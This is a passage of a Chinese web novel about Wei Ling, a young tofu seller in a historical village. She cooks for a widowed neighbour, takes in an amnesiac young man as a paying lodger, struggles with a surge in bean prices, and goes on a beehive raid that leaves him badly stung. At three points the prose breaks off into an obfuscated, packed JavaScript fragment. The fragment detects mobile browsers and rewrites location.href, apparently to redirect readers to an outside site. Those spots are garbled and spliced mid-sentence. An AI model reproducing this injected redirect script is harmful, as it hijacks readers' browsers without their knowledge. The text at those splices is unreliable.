也就是那种五彩斑斓，一看就在外表写着“我有毒”的蘑菇，她能认出来。 但是李寡妇可就大不一样。 她就像蘑菇的亲戚似的，一瞅一个准不说，哪些能吃，哪些不能她上一清二楚。 到底时间不对。 山里的蘑菇资源再丰富，也被早早上山小娘子和老婆子给采摘的差不多了。 两个人忙活半天，才将将采了小半框。 日头偏西，约莫是申时左右了，再不下山，天都要黑了。 卫菱拉住还想往上走的李寡妇，说了下情况。 兴致冲昏理智的李寡妇拍了下头，“诶呀！瞧我这脑子，走走走，咱们下山。” 卫菱的笑着挎住李寡妇的胳膊，二人辨认了一下方向，开始往回走。 还没走出三步远，突然听见头顶靠近山顶的地方传来一声凄惨的鸡叫。 卫菱吓得瞬间就捏紧了李寡妇的胳膊。 此时虽然是初春，天还冷着，但山林深处难免有野兽。 李寡妇自己都吓得腿软，还壮着胆子拍了拍卫菱的手。 “别……别怕，我们快走，快走。” 卫菱咽了咽口水，头也不敢回，紧紧抓着李寡妇，脚步匆匆地跟着她下山。 4. 酸菜炖生蚝 卫菱和李寡妇两个人憋着一口气，直到进村，二人才把提到嗓子眼的心放下来。 “唉！” 两个人同步发出一声长长的叹息，面面相觑后，又同步地哈哈大笑。 也不知是笑自己，还是笑对方。 卫菱中午在李寡妇家刚蹭了饭，这下说什么都要留她一起回家吃个晚饭。 李寡妇起初还推辞，一听卫菱不会摘蘑菇，便应了她的饭邀。 这个时间，娘子们都会去河边洗菜浣衣。 卫菱怕李寡妇会感觉不适，就没出门，用得自己家里的井水烧火做饭。 冬天腌得酸菜还有几颗。 卫菱从缸里挑了颗个头大的，然后拿了其他要洗的菜，端到了李寡妇边上，跟她一起。 “嫂子，你爱吃酸嘛？” 李寡妇被问得一愣，反应过来后，点了点头。 卫菱得了答案，心里便有了数。 卫菱爱吃口感偏酸的酸菜，以往她自己吃的时候，只简单地投洗一下，不会用太多的水去稀释酸菜本身的酸味。 既然李寡妇能接受，卫菱就用自己平时的习惯去处理。 黄绿色的芥菜被切成小块，在锅里炒出香味后再放生蚝和豆腐，小火焖煮。 早上李寡妇送的八爪鱼，跟卫菱菜园子里的韭菜简直堪称绝配。 惦记昨晚没吃尽兴的饺子，卫菱狠狠心，又挖了些面粉出来。 洗干净的八爪鱼一半切段配上韭菜段大火爆炒，一半切丁跟韭菜沫和馅包饺子。 李寡妇把蘑菇处理完，想着帮卫菱打下手的时候，她已经包上饺子了。 李寡妇没见过这种吃食，瞪着眼睛站在卫菱边上。 就见她手指翻飞，没一会儿，一张面饼就成了一个圆滚滚的团子。 卫菱注意到身边有人，扭头就见李寡妇直勾勾看着她的手。 “嫂子，这是饺子，我自己瞎琢磨的。” “你的手真巧。” 李寡妇眨眨眼，对着新奇的玩意充满了好奇。 卫菱闻言，笑了笑。 她把剩余的剂子挨个压瘪，拿起擀面杖，开始给李寡妇演示操作流程。 一手按压，一手翻转，一张薄薄的圆饼就被她压成单薄的皮。 随后，她往中间挟了好大一团糜子，对折后一捏一压，就变成了李寡妇刚才看见的团子。 “嫂子，你要试试吗？” 卫菱见她看得好奇，拿起所剩不多的饺子皮朝李寡妇递过去。 李寡妇哪干得了这种细致的活，一个劲儿地摇头摆手推辞。 卫菱见罢，笑了笑，继续低头干活。 李寡妇坐到了生活的小木凳上。 夕阳已经看不见了，黑夜还没降临，朦胧地天色下，李寡妇觉得卫菱好看极了。 不光人美，做得饭也好看。 有客人在，卫菱难得大方，在屋里用得饭食。 一豆昏黄的灯光，照不亮全屋，但足够李寡妇打量全貌了。 说起来，这还是她第一次进卫菱屋子里。 “来，嫂子你尝尝味道怎么样。” 卫菱下巴微抬，示意李寡妇尝一下碗里的饺子。 “诶，好。” 白滚滚的饺子被黄色的铜碗衬托地更加雪白。 许是第一次吃，李寡妇用筷子试了半天才夹起光滑的面团。 她瞟了眼卫菱，学着她的样子，咬了一小口。 韭菜味冲，但是混着八爪鱼独有的鲜香，又变得有些柔和。 咀嚼的过程中，八爪鱼的丁滑嫩弹牙，在软烂的韭菜中显得尤为独特。 外皮就如刚才隔着筷子就能感受的触感般，十分软滑。 李寡妇微微睁大了些眼睛，显然被惊艳到了。 她又咬了一口，积攒在末端汤汁混着饺子皮和饺子馅，比刚才的口感更丰富了一个层次。 “好吃！” 李寡妇是真心地赞叹。 她见卫菱瘦的跟杆一样，还以为她做法很差。 刚才见她做饭，李寡妇就明白自己误会了，如今入口一尝，更是止不住想给卫菱竖起大拇指。 卫菱见她吃得开心，心里也高兴。 “嫂子，别光吃饺子，尝尝菜。” “诶，好，好。” 被卫菱招呼，李寡妇才想起桌上还有其他菜。 跟饺子馅相同食材的韭菜八爪鱼，味道却不太一样。 超过的韭菜没饺子馅那么软烂，还保存着膳食纤维，吃起来十分脆爽。 炒过的八爪鱼反而变得软滑。 也不知卫菱用了什么调料，菜汁中有一种并不是盐的咸味。 李寡妇嚼着嘴里的食物，看着卫菱点头。 随后，她又尝了下另一道菜。 跟中午她做的生蚝完全不一样。 直到入口，李寡妇才明白刚刚卫菱问得那句能不能吃酸是什么味道。 分明就是她吃惯的芥菜，但是卫菱这的，是一种酸酸的味道。 生蚝肉质多汁，又不跟芥菜争夺风味。 “嗯嗯嗯！” 李寡妇被香得说不出话，止不住地点头。 手艺得到了赞赏，卫菱发自内心地笑了。 她低头咬了口饺子，忽然觉得今天好像自己一直在笑。 今天过得虽然累，但比她前一个月都过得要开心。 吃饱喝足，李寡妇争着抢着去洗碗。 卫菱一个常年干活的人竟然没争过。 见此，也不好去拂李寡妇好意。卫菱去把豆子泡了起来。 最近事忙，卫菱这才注意到，豆子要光了。 她拨出要用的量后，发现剩下的似乎不足两天的量了。 “得想着明天去买些豆子回来。” “啊？” 在厨房洗碗的李寡妇没听清卫菱在嘀咕什么，还特意探出头来。 卫菱被这反差感可爱到，“没什么。” 闻言，李寡妇又把头缩了回去。 送走了李寡妇后，卫菱脑海只有一个想法——赶紧洗漱睡觉！ 在进入梦乡前，卫菱总感觉自己好像忘了点什么。 ======== 纵然累得不行，但是卫菱还是按时在清晨醒来。 她打着哈欠，觉得根本没睡够。 甚至有一瞬间，她觉得自己要不今天休息一下算了。 但一想到钱，她立马打消了这个念头。 她闭着眼，用湿帕子擦脸。 一碰水，卫菱忽然想到了昨晚到底忘记了什么。 螃蟹好像还在盆里呢！ 她急匆匆地跑到厨房，往盆里一瞧。 昨天抓得，还在那里，没跑。 呼！ 卫菱放下心来。 也是，能被她抓住的，能是什么聪明的货，还能越狱不成。 卫菱用手里的帕子继续擦脸，回去接着洗漱去了。 为了把昨天耽误的银子补回来，卫菱今日的货比往常要多，到摊位的时间也比往日晚了三刻钟。 她刚把推车靠着墙壁放稳，那些老顾客们就团团围了上来。 接连两天都是这个售卖状态，卫菱有种受宠若惊的感觉。 眼下没时间容她细琢磨，买豆腐的客人把路快堵上了。 “大家排好队，一个一个地来，都有，别挤。” 她边吆喝，边摆好摊子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500531|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >切豆腐，收钱。 机械地重复这两个动作，不多时货就少了大半。 咕嘟咕嘟。 趁没人的空档，卫菱喝了整整两大碗水才缓过神来。 刚才她忙到汗流进眼睛里都没来得及擦。 她环顾四周，发现常在这附近摆摊的大爷大娘好像都没来。 一时半会儿地，她也找不到人帮忙照看摊子，也只好晚些收了摊再去买豆子。 还不等卫菱歇够一盏茶的功夫，主顾们又开始乌央乌央地围了上来。 干活的间隙，卫菱隐约听见客人好像说什么涨价。 她刚想细问，却发现已经找不到人了。于是，她也只好继续忙活手上的使。 晌午，卫菱的豆腐豆浆就全都卖光了，比之前足足提前了四个时辰。 她反复摸了几遍腰间的荷包，满足感和幸福感瞬间暴增。 卫菱摆摊的地方在集市的南边，但她要买豆子的地方在集市的最东头。 若是走过去，都几乎横穿了整个集市。可眼下，没人帮她看东西，她也只能笨重地推车过去。 途径一些小店的时候，卫菱注意到许多家门口都挂了写着黑色字的木牌，但她不认识上面的字，并不知道写的什么。 拐了个弯，刚走到东边，卫菱被眼前的景象惊地傻了眼。 黑压压的人头排成的队伍一眼望不到头。 一个紧紧把布袋搂在胸前的大叔迎面走来，卫菱觉得眼熟。 想了半天才反应过来，是水为乡的乔疱人。 见状，卫菱赶紧上前打听情况。 “乔大叔，您这买的什么宝贝啊，藏得这么紧？” 乔疱人的注意力都在怀中，冷不丁地被吓了一跳。 “是卫小娘子啊。”他瞥了眼排队的长龙，抓着卫菱的胳膊把她拉到一边。 “卫小娘子啊，老夫问你一句实话，你的豆腐可也会涨价？” 卫菱一怔，随即摇了摇头。 她卖豆腐赚的就是个辛苦钱，卖贵了买的人少，她反而会赚不到钱。 闻言，乔疱人给卫菱竖起大拇指。 “卫小娘子真是个实在人，这豆子贵至每斤两枚齐小刀，也不涨豆腐的价钱。” “多少？！” “每斤两枚齐小刀！” ========= 卫菱推着板车，越想越气，路上的小石子她不知踢飞了多少。 豆子的身价一夜之间就翻了近三倍的价格。 她都愿意舍钱去买了，结果限量不说。 离她还有差不多两百人呢，就已经卖光了。 “唉。” 卫菱长叹一口气，迷茫极了。 眼下这情形，即便她明日一早去排队买豆，也未必能买到。 就是买到了，这豆腐生意也不乐观。 可不卖豆腐，她又没有其他的赚钱来源，月底的税款缴纳不上，那后果，她真是想都不敢想。 “唉。” 卫菱思及此，又叹了一口气。 她抬起头，瞧见自家门口站着一个人。 她推车的车辕摩擦地面以及车上器具碰撞发出的叮当声引起了那人的注意。 那个人的身子转了过来。 黑炭！ 卫菱翻了个白眼。 这人怎么阴魂不散的！ 本就烦躁的心情更是火上浇油。 卫菱全当没看见他，低着头闷声往家走。 就在跟黑炭擦肩而过的时候，卫菱的胳膊突然被钳住。 接着，一只血淋淋地山鸡出现在了她的视野中。 “啊！” 霎时间，卫菱连车都不想要了，原地蹦离一丈远。 5. 葱烧海参 “别怕。” 徐子烈见状，把伸出去的胳膊又缩了回来。 卫菱并不想跟他多费口舌。 她一言未发，弯腰扶起推车就要走。 徐子烈把手里拎着的鸡放到一旁，想去给卫菱帮忙。 他还没碰到，就被卫菱拂开了手。 见此，他也只好拎起地上的鸡，乖乖跟在卫菱身后。 他的脚刚要踏进院门，前方忽然传来一个声音，“啧。” 徐子烈默默把脚收了回来。 他可怜巴巴地站在门口，看着卫菱忙来忙去。 见她朝门口走过来，徐子烈赶紧露出一个笑。 他正欲张口，砰地一声，院门就在他面前倏地合上。 徐子烈垂下头，神色复杂的看着手中的鸡。 此路不通，那便换一条。 “姑娘，我是来还银子的。” 他拿出装钱的荷包扣门。 话音刚落，刚才还严丝缝合的大门突然开了。 “公子请进。” 言毕，卫菱微微弯腰，五指并拢滑向院里，摆出一个请进的姿势。 “公子用的药是在城中董记药房抓的，三副药共计45铜币。公子宿在我家时，吃的饭是小女花了20铜币买回来的，公子吃了一半的一半，便算5铜币。也就是总共欠我50铜币。” 卫菱真诚地注视徐子烈的眼睛，大大方方地伸出了手。 “哦哦。” 徐子烈压根没听卫菱说什么，直到见她摊开的手掌才反应过来。 他把整个钱袋子都递了过去。 卫菱做生意，少不得跟钱打交道。 钱袋子刚落在她手心，她就察觉到分量不对。 她半信半疑地打开抽绳，看了一眼徐子烈，复又垂眸看向袋子。 一，二，三…… 君子爱财取之有道，卫菱数够50枚铜币后，拉紧抽绳，递了回去。 徐子烈动都不动，看着卫菱疯狂摇头。 “公子给多了，这些足矣。” 卫菱指了指桌上她数出的铜币，把荷包又往徐子烈那边推进几分。 又是一阵摇头。 卫菱眯起眼睛，开始怀疑，这小子的脑子该不会被山匪一棍子打坏了吧。 “我不记得自己家在哪里，姑娘能否收留我一段时间。我能干活的，姑娘只要能给口饭吃就成。” 说完，徐子烈把卫菱的手往回退，像是下定决定用钱去感化卫菱。 收留？ 卫菱捏了捏手里的荷包，没说话。 她打量着徐子烈脸上的神情，确认他是认真的后，把桌上数出来的铜币拨到一边，开始数剩余的数量。 167。 卫菱在心里盘算了一下。 以这小子的饭量，每日的饭钱约十铜币左右。她家没有多余的偏房，男女有别，她的屋子是断然不能分他一半的。那就只能让他继续住牛棚。牛棚虽然没有牛，但是环境简陋，便收他4铜币每天。 眼下豆腐生意艰难，这送上门的财神爷，不要白不要。 “会做饭吗？”卫菱问道。 徐子烈摇头。 卫菱有些嫌弃，“你刚才不还说能干活吗？” 徐子烈不好意思地挠挠头，“能干的，劈柴挑水这些力气活我都能做。但实在不善庖厨。” 卫菱撇嘴，心里有些动摇留下他的念头。 徐子烈从她的脸上窥探出卫菱意图，赶忙举起手里的山鸡，“我还能打猎。” “留下只能住牛棚，劈柴挑水，打猎扫地，洗碗擦桌子，能干什么都得干，为期半月，到时间分文不退，也不能再留你多住，除非续租。” “成交。” 徐子烈爽快起身，好似慢一点卫菱就会后悔了似得。 ========= 新鲜的大葱取葱白，剖开去芯，切成细细的长段。锅中放油，将它炸至金黄焦香后，捞出葱段备用。 用葱油爆香姜片，倒入切成细丁的海参，使用酱清翻炒上色，再用盐、糖等调味。 加入清水没过海参，放入炸过的葱段一同小火焖煮。 清风吹过。 独属于螃蟹的清甜香味钻入卫菱的鼻腔。 她用抹布扣在盖上，掀开蒸笼。青色的螃蟹变得通体全红。 她用竹夹将其转移到盘子里降温。 煮好的穄糁（高粱米）盛到碗中，卫菱用勺子淋上满满的葱烧海参。 “吃饭啦。”她朝正在井边打水的徐子烈喊道。 家有壮丁还真不一样。 卫菱把饭端到石桌的时候，瞥见家里的水缸差不多都满了。园子里的杂草也有被清理过的痕迹。 深褐色的海参表面被油亮的酱汁包裹，泛出琥珀色的光芒。炸过的葱段少了辛辣，口感清甜。未经精磨的高粱米散发出类似坚果的焦香，其本身的酸涩味道被酱汁中的咸味掩盖的恰到好处。 徐子烈挑起一筷子送入嘴中，外表微韧内里软糯的海参在牙齿切入时，胶质在口中缓缓化开。穄糁口感粗粝，颗颗分明，但被酱汁浸润后，增添了些许的软绵。 徐子烈微微睁大双眼，显然是被惊艳到了。 他用筷子扒饭，吃得狼吞虎咽却没发出丁点不雅的声音。 卫菱将这一切看在眼中。 这家伙的一举一动，都不像是寻常人。 卫菱心里怀疑徐子烈的身份，但不打算挑明。 他死皮赖脸非要留在这间小院，定有图谋，未分清是敌是友前，她一个弱女子最好的对策就是不打算。 见识过他的饭量，卫菱对这家伙续饭的举动毫无意外。 “在锅里，自己去盛。” 她眼皮都没抬，低头吃着自己的碗中餐。 一勺又一勺，压平再盖一勺。 徐子烈将吃不死他就会使他更能吃的经典名言践行在实处。 往饭上浇海参汁的时候，他瞥见灶台上放着一盘蟹。 他偷偷看了眼卫菱，喉结滚动。 半晌，他像是没看见那盘没吃到的菜似的，乖乖坐回石桌吃饭。 “吃完，记得洗碗。” 卫菱把吃完的碗放到石桌上，在看见徐子烈点头后，她洗干净手，坐到小凳子上，把凉了的螃蟹“大卸八块”。 螃蟹壳坚硬，但肉很少。 总共捡了5只螃蟹，也就拆出不足拳头大小的一碗肉。 好歹也算是个荤腥。 卫菱安慰自己。 她仰起头，看着天上的月亮，愁绪堵在心口，发出了长长的叹息。 如今，豆价上涨，不光这豆腐生意做不下去，连吃饭都要成问题了。 啊！活不起啦！ 卫菱的头向后用力一仰。 世道艰难啊！ 徐子烈捧着一盆洗干净的碗走了过来。卫菱正陷在自己的思绪里，猛地被打断，惊了一下。 她接过木盆，道：“明日你跟我进城一趟。” 徐子烈听完，眉头紧锁，像是不愿意的样子。 半天没等到回应的卫菱扭头看他，正巧将这一幕捕捉在眼底。 “听到没？” “噢，听到了。” 徐子烈纠结了一下，到底没把能不去问出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500532|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 城中那么大，人又那么多，总不能这么倒霉吧。他心里想。 卫菱疑惑地盯着他的背影，心中生疑。 他抗拒进城。 按他的说法，他是被山匪打劫导致的失忆。可城中也没有山匪，他抗拒什么？难不成，怕进城的路上再挨一闷棍？ 次日清晨，在生物钟的召唤下，卫菱准时醒了过来。 平时，这个点醒，她总会想着让她再多睡会儿该多好啊。 但现在，她在床上翻来覆去折腾半天，也没有一点睡意。 “可真是劳碌的命。” 卫菱嘀咕着起身。 还没习惯家里多了个活口，她出门的时候，被牛棚里的突起吓了一跳。 小米洗干净后，用冷水浸泡一段时间。 昨天磨豆腐剩的所有豆渣也只有一小盆了。 卫菱拿起一颗鸡蛋，在碗边沿轻磕后，利落分成两半，加到了豆渣盆里。 “舍不得孩子，套不着狼。” 卫菱用筷子用力搅拌。 鸡蛋能增强豆渣的粘附性，虽然就一颗，但卫菱还是将它的作用发挥到极致。 小米也泡的差不多了。 卫菱从菜板边的余料碗里挑出一块姜，笃笃笃几声后，变成了细细的姜丝。 她往炉灶里添上柴火，用火折子引燃茅草后塞了进去。 一灶双锅。 小米混着姜丝用清水炖煮。另一边，卫菱用勺子浅浅刮下一层猪油开始摊豆饼。 猪油的香气刚暖锅，徐子烈就像受到招呼般转醒。 卫菱瞟了一眼，没搭理。 继续忙着手上的活。 小米粥煮沸的时候，饼锅里都烙出七八块豆饼了。 卫菱蹲下身，用火钳调整了一下，调小炉灶里的火焰。 小火慢熬，待小米炸开米花后，倒入昨晚剥好的蟹肉，用勺子搅拌均匀。 随后，她继续用手团起剩余的豆渣烙饼。 趁着锅底高热的余温，抓紧把它烙完。 初春的天，乍暖还寒。 昨天去赶海的时候，都没今天的天冷。 大风一挂起来，吹得人瑟瑟发抖。 卫菱催促徐子烈去洗漱，随后两个人挤在厨房的小桌板上吃饭。 蟹黄完全融进绵密润滑的小米中，已分辨不出来。鲜甜的蟹肉混着醇厚的小米，甘甜中还带有姜丝的微辛。 在寒冷的春风里，这股微辛格外暖身。 豆渣饼体表微焦，每咬一口，就能听见“咔嚓”一声轻响。 豆腥被热油和盐转化成了醇厚的豆香味，冷不丁地还能吃出一口蛋香味。 吃饱喝足，卫菱用帕子将豆渣饼仔细包好放入袋子里，随后她又检查了一遍葫芦匏瓢里的水。 确认装备充足后，她喊徐子烈推上车，两个人踏着晨光朝城里走。 城门辰时才开。 卫菱二人在城外守了阵才进去。 此时离集市开市还有段时间，卫菱直接了当地带着徐子烈直奔东边的粮铺。 好家伙。 卫菱倒吸一口气。 来这么早，前边已经开始排上了！ “你在这守着，一时半会也轮不上我们，我先不给你留钱了。我去转转，马上回来。” “啊？” 徐子烈一惊，她要留他一个人在这！ 他瞪大眼睛，眼中全是哀求的信号。 “你个大男人，怎么婆婆妈妈的！老实待着！” 卫菱拂掉徐子烈捉住她胳膊的手，着急忙慌想去找找，是不是还有能买到价格合适的豆子。 6. 野蜂巢 集市里所有卖粮的店铺两极分化。要么是断货，要么是排长队。 卫菱把能问的店问了个遍，也没找到一点门路。 她回到徐子烈身边的时候，店还没开门。 她靠在推车上，在心里默默算起了账。 豆腐生意肯定是不能继续了，但豆子还是要买，不吃豆饭，她才真的活不下去了。 人群突然吵嚷。 卫菱循声望去，可算是开门了。 还不等她缓口气，就见小厮把门口的木牌摘下，换了个新的。 “75铜币！天爷呦，这是抢钱啊！” 75铜币！ 卫菱睁大眼睛，仔细看着木牌上的字。 十?！ 原本秩序规范的人群忽然就乱了。 卫菱被徐子烈护着，跟随推车在推搡间从前排被挤到了外围。 “回家！” 卫菱盯着木牌，不甘心但也不愿如此高价去买豆子。 “好！” 徐子烈高兴极了。回家好，回家安全啊！ 他支起车板，示意卫菱坐了上去。 纵然高价，但是买豆的百姓不在少数。 如他们这样逆着人流往回走的倒是不多。 徐子烈小心翼翼地，没推多远就急地出了满头的汗。 等他们彻底从买豆大军里“全身而退”的时候，徐子烈感觉他的内衫都湿透了。 “你们几个去那边，你们几个跟我来。” 身后传来的声音吓得徐子烈瞬间停在原地。 “怎么了？” 卫菱见他忽然停下，还以为有情况。 声音还没走远，徐子烈没开口，摇摇头，推起车继续前进。 从城里到村里这条路，卫菱走了无数遍。 坐车还是头一遭。 欺负徐子烈是个闷葫芦，他不开口，她就一直坐车上，不肯下来走。 路上，卫菱仔细看着风景，脑子盘算可行的生意。 思来想去，也没半点头绪。 经年累月养成的习惯，冷不丁闲下来，卫菱有种浑身刺挠的感觉。 就像有蚂蚁顺着血液在她全身游走，哪哪都觉得不舒服。 她眼前忽然闪过徐子烈汗湿的脸，她倏地起身，拿起篮筐就要出门。 “我出去一下，你少些热水，洗个澡吧。” 牛棚简陋，最近她也要被困在家里，她可不想天天对着个“臭男人”。 卫菱去了李寡妇家，若是李寡妇无事，她想约李寡妇上山去采蘑菇。 还没到春耕的时候，李寡妇正好在家。 卫菱在等李寡妇收拾东西的时候，瞧见桌上的框篓里放着刻刀，还有一些木雕。 “嫂子，这是你自己做的吗？” 卫菱拿起一只木雕娃娃，问向李寡妇。 “啊，是。打发时间，雕着玩的，让你见笑了。” 李寡妇说完，继续去找工具。 “嫂子，你手好巧啊。这木偶做得真好看。” 卫菱看着手里的胖娃娃，感觉它栩栩如生，惟妙惟肖的。 “我爹是木匠，我从小看多了，也会一点。” 李寡妇捋了下鬓边的头发，有些不好意思，“咱们走吧。” 上一场大雨的功效似乎是过了，李寡妇带着卫菱在林子里转悠半天一朵蘑菇都没看见。 “不行了，李阿嫂，咱们歇会吧。” 卫菱扶着棵大树，坐到地上，大口喘着粗气。 她实在是走不动了。 李寡妇也累，见卫菱快虚脱了似的，也掉头走了回来。 人倒霉，还真是喝凉水都塞牙。 卫菱用手不轻不重地锤击小腿。 李寡妇打开竹筒塞，往嘴里灌了口水。随后，她用胳膊碰了下卫菱，把竹筒递了过去。 卫菱觉得嗓子眼都要冒烟了，正巧有水，她着急地大口喝着。 喝得太快，卫菱突然呛了一下。 “咳咳咳咳……” 李寡妇见状，急忙接过竹筒，用手拍卫菱的背，帮她顺气。 “多大的人了，也没人跟你抢，喝口水还能呛到。” 卫菱被李寡妇的话羞得小脸通红。 好不容易缓过气来，她的双眼在林子里四处瞧，以此缓解尴尬。 “嫂子，那是什么？”卫菱指着东南方的一角，问李寡妇。 顺着她指的方向，李寡妇瞧过去。 粗若巨柱的老槐树被雷拦腰斩断，焦洞里流淌出的树胶吸引野蜂筑巢。五六个蜂窝紧凑排列，最大的足有洗衣盆大小。 “那是野蜂窝，被哲一下可不得了，咱们快走，小心伤着。” 卫菱直勾勾盯着，有些走不动道。 “婶子，这么多、这么大的蜂巢，应该有不少蜜吧？” 李寡妇被卫菱这话吓得心惊。 她抬起手，不轻不重地拍了下卫菱：“你这丫头，不要命了！” ========= 下山的时候，李寡妇揪着卫菱的耳朵走了老远。 “你这丫头胆子真大，来历不明，你也敢收留！还是个男子！你不要命了！” “疼疼疼，嫂子，我疼！” 卫菱挣扎着要从李寡妇手里解脱出来。 李寡妇见她耳朵泛红，手摸着微微发烫，也就松了手。 “嫂子，”卫菱揉揉耳朵，“那村长把他塞我家的时候，也没考虑过我的死活啊！” 李寡妇对她翻了个白眼，气得直喘粗气。 卫菱见状紧忙挎上了李寡妇的胳膊。 “嫂子，我也怕。但眼下，豆价上涨，我连饭都吃不起了，送上门的钱哪能说不要就不要。” 她停顿了一下，观察完李寡妇的脸色后，继续道，“而且，他也就吃得多，看着也不像个坏人。” “坏人还能用面相区分不成！” 李寡妇气得，用手指用力戳了下卫菱的额头，力道大的让卫菱的头都仰了过去。 自知理亏，卫菱揉揉头，没说话。带着李寡妇往家里走。 李寡妇气势汹汹地要推门时，卫菱忽然想到临走前嘱咐徐子烈做什么，赶紧拉住了李寡妇的手。 “那个……” 话到嘴边，卫菱忽然有种说不出口的羞耻感。 她犹豫了下，没多解释，伸手扣了两下门。 “徐子烈。” 门一开，李寡妇的三观一下子就跟五官走了。 这娃还长得真不像是坏人。 “嫂子？” 卫菱推搡了一下，才让李寡妇回过神来。 “诶，诶。” 李寡妇跟着卫菱进了门。 倒也是没忘了自己来的主要目的，李寡妇坐在石桌上，仔细地盘问徐子烈。 从身世到年纪，从职业到婚娶。 李寡妇简直把徐子烈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500533|170322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生平问了个遍，但得到的答案跟卫菱问得一样，除了名字年纪，其他一概都忘记了。 李寡妇死死盯着徐子烈的眼睛。 清澈见底，看起来倒不像大奸大恶之人。 但人心隔肚皮，李寡妇嫁过人，更明白男人最易于伪装。 她看瞟了眼卫菱，道：“会掏蜂窝吗？” ========= “你……你们站远点嗷~~” 徐子烈的脸被李寡妇用厚厚的布条缠得严严实实的，只余了一双眼睛露在外边。 “嗯嗯嗯。” 卫菱跟李寡妇站在远处，齐齐点头。 徐子烈咽了下口水，他蹲下身，用同样被包成粽子的手从地上拾了跟树枝。由于实在是五指不分，费了好大的力气才把它抓到了手里。他哆哆嗦嗦地朝前走了一小步。 他又回头朝卫菱看了一眼，壮着胆子又往前走了一步。 或许是天气冷，又或许是运气好。 徐子烈戳开的第一个蜂巢里全是未孵化的幼虫。 满满的蜂蜜甜香四溢。 他七手八脚的把块状的蜂巢掰下，扔到木盆里。 黏腻的蜂蜜打湿了徐子烈手上的布巾。成功的经验就在眼前，他大着胆子解开了布条，赤手去戳第二个蜂巢。 一连三个蜂巢下来，木盆都装满了。。 徐子烈仗着运气好，把脸上的布条也给拆了下来。 “小卫女，李阿嫂，过来吧。” 他朝卫菱这边挥手示意，招呼她们过去。 “小心！” 李阿嫂和卫菱惊呼。 不知是不是被蜂蜜的味道刺激到了，大量的野蜂从余下的蜂巢里涌了出来，黑乎乎的一片飞在空中，直奔徐子烈而去。 李寡妇当机立断，用火折子引燃了手中的火把，又赶忙将卫菱手中的也燃起来，拉着卫菱朝徐子烈跑了过去。 挥舞的火把烤死了一部分野蜂，卫菱和李阿嫂一人一边，抓起徐子烈的胳膊往山下跑。 被惹怒的野蜂追着她们追到山脚才折返。 “没事了，可……算是安全了。” 李寡妇往身后望了望，确认没有野蜂后，松开了抓着徐子烈的手，一屁股坐到了地上。 卫菱也朝身后看了下，还真是！ 于是，气一松，她也一屁股坐到了地上。 “你……不……累……吗？” 卫菱气还没喘匀，见徐子烈直挺挺地站着，不由得打心里对她的体力佩服。 “不内啊。” 徐子烈转过身，对卫菱道。 “鬼！鬼！鬼啊！” 卫菱颤抖的手指在划出了道道残影。 “青天白日的，哪来的……鬼……鬼啊！” 李寡妇才起身，也被眼前的情况吓到，又是一屁股跌坐在地。 “葵？拉泥又葵？” 徐子烈环顾四周，一头雾水。 青天白日，哪有鬼啊！ 他习惯性地想挠挠头，结果手抬起来，就见自己骨节分明、修长如玉、指如竹节的纤纤玉手上满是又红又肿的大包，整只手胀得像极了枣红色的猪蹄髈。 痛觉也开始后知后觉的反应了过来。 不单单是手，他的脸上也传来了灼烧般的痛感。 “里……” 徐子烈指了下卫菱，话没说完，就两眼一翻晕了过去。 “徐子烈！” 7. 山鸡野菌羹、风味蜂蛹 “谢谢刘大哥，谢谢，谢谢。” 卫菱跟李寡妇将刘大山送出门。 刚才幸亏刘屠夫赶车从城里回来被她们碰见。 要不然她们两个弱女子还真没办法把徐子烈给搬回来。 “嫂子，麻烦你帮我照看一下他，我去请刘婆子。” “诶……”李寡妇拉住卫菱，“这点伤，用不着刘婆子。” 言毕，她拉着卫菱朝牛棚走。 李寡妇给卫菱做了下示范，教她拔除留在伤口里的蜂刺。 把外边检查完一遍后，李寡妇突然犯了难。 “咋啦，嫂子？” 卫菱不解，莫非这样就算治完了？ “他手和脸被蛰成这样，恐怕他身上也有……” 嗨，多大的事啊！ 卫菱听懂了其中含义，伸手去解徐子烈的衣服。 人家未出阁的姑娘都不觉得有什么，她一个嫁过人的寡妇也没什么好扭捏的。 亏得徐子烈命大，身上除了肩膀被叮咬了六七个包，其他部位干干净净的。 李寡妇吩咐卫菱去厨房端碗醋来。 随后，用干净的布条蘸着醋抹在徐子烈的伤口上。 “家里有凫公英吗？” “有！有！”卫菱点头。 “捣成汁液，给他敷上。” “好，我这就去。” 卫菱跑到菜园子边上，就地取材，估摸着用量，把院子里的凫公英挖了个精光。 她用水洗干净后，去厨房拿出药杵哒哒哒地研磨起来。 前些天，救徐子烈剩的纱布还在，想不到这么快就又派上了用场。 李寡妇没像之前那样随意，认认真真地给徐子烈包裹好伤口。 